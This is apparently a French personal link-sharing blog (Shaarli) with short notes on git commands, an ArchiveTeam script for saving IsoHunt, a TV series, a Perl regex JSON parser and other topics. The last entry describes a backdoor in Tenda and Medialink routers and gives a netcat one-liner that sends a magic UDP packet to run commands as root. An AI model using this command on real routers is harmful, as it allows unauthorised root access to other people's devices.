2072 private links
Expliqué simplement et avec humour.
Je viens aussi d'apprendre comment sont faites les chaînes !
Ça se laisse regarder en boucle.
Je cite, vu que c'est bien dit :
Ça peut intéresser tous ceux qui aiment faire des autoblogs avec un serveur à la maison, un petit challenge : 3 jours pour sauvegarder tout IsoHunt. Faisable ?
Il y a un GitHub tout fait avec un super readme et juste un petit script à faire tourner chez soi.
C'est facile à mettre en place : https://github.com/joepie91/isohunt-grab
Édit : via https://perso.ens-lyon.fr/guillaume.aupy/shaarli/?AE4raQ
Je m'incline bien trop souvent, je trouve... !
Ignorer les chagements de permissions sur les fichiers :
git config core.filemode false
Comment ArchiveTeam (http://www.tiger-222.fr/links/?itDQ8g) a pu faire une sauvegarde de tous les blogs de Posterous. C'est sympa, vu de l'intérieur.
Tutos et astuces pour InkScape.
Piqûre de rappel sur les tag (étiquettes) avec git.
Pour étiqueter après coup :
git tag -a v1.2 -m 'version 1.2' 9fceb02
Pousser les étiquettes :
git push origin --tags
Une série envoutante assez trash, avec un casting fort sympathique (notamment Mads Mikkelsen, ça lui va comme un gant). Ça faisait un moment que je n'avais pas aimé une série comme ça. D'aileurs toute la famille l'a beaucoup aimée aussi.
Je la conseille vivement (en VOSTFR) !
"""
La relation étrange entre le célèbre psychiatre Hannibal Lecter et l'un de ses patients, un jeune profiler du FBI nommé Will Graham, torturé par sa fascination dévorante pour les serial killers...
"""
Wow ! Celle de l'ours blanc sous l'eau fait flipper.
via https://perso.ens-lyon.fr/guillaume.aupy/shaarli/?o2SNxw
Converir un PNG en ICNS pour avoir une icône.
(ça sent bon le port de Pombo vers Mac OSX tout ça)
Avec 19 jours de retard... ;D
Bilou est un jeu de plateforme (homebrew) pour Nintendo DS.
Gros +1
Pff, c'est tendu... Pour le fun :
!/usr/bin/env perl
use Data::Dumper qw(Dumper);
my $FROM_JSON = qr{
(?&VALUE) (?{ $_ = $^R->[1] })
(?(DEFINE)
(?<OBJECT>
(?{ [$^R, {}] })
{
(?: (?&KV) # [[$^R, {}], $k, $v]
(?{ # warn Dumper { obj1 => $^R };
[$^R->[0][0], {$^R->[1] => $^R->[2]}] })
(?: , (?&KV) # [[$^R, {...}], $k, $v]
(?{ # warn Dumper { obj2 => $^R };
[$^R->[0][0], {%{$^R->[0][1]}, $^R->[1] => $^R->[2]}] })
)*
)?
}
)
(?<KV>
(?&STRING) # [$^R, "string"]
: (?&VALUE) # [[$^R, "string"], $value]
(?{ # warn Dumper { kv => $^R };
[$^R->[0][0], $^R->[0][1], $^R->[1]] })
)
(?<ARRAY>
(?{ [$^R, []] })
[
(?: (?&VALUE) (?{ [$^R->[0][0], [$^R->[1]]] })
(?: , (?&VALUE) (?{ # warn Dumper { atwo => $^R };
[$^R->[0][0], [@{$^R->[0][1]}, $^R->[1]]] })
)*
)?
]
)
| (?<VALUE> \s* ( (?&STRING) |
(?&NUMBER) |
|---|
(?&OBJECT)
|
(?&ARRAY)
|
true (?{ [$^R, 1] })
| false (?{ [$^R, 0] }) |
|---|
null (?{ [$^R, undef] })
)
\s*
)
(?<STRING>
(
"
(?:
[^\"]+
|
\ ["\/bfnrt]
|
\ u [0-9a-fA-f]{4}
)*
"
)
(?{ [$^R, eval $^N] })
)
(?<NUMBER>
(
-?
(?: 0 | [1-9]\d* )
(?: . \d+ )?
(?: [eE] [-+]? \d+ )?
)
(?{ [$^R, eval $^N] })
)
) }xms;
sub fromjson {
local $ = shift;
local $^R;
eval { m{\A$FROMJSON\z}; } and return $;
die $@ if $@;
return 'no match';
}
while (<>) {
chomp;
print Dumper fromjson($);
}
Génial, ça rend bien !
Excellente publicité ! Ils se sont balades !
Un chouilla poétique, une thématique que j'adore : King - de Lauren Aquilina
En fouinant via https://ex0artefact.eu/ahpuch/?EjEREQ
Ah ah, elle est excellente celle-là !
Peut-être encore plus facile que cette porte dérobée : http://www.tiger-222.fr/links/?GrEUOQ
Tout se passe au niveau de la forge du packet :
echo -ne "w302r_mfg\x00x/bin/ls" | nc -u -q 5 IP_routeur 7329
Notez le "/bin/ls" dans le "echo", c'est la commande qui sera exécutée en root...
Ça concerne les routeurs Tenda W302R, Tenda W330R ou encore Medialink MWN-WAPR150N. Ils utilisent tous le mot magique "w302r_mfg". Doit bien y en avoir d'autres va...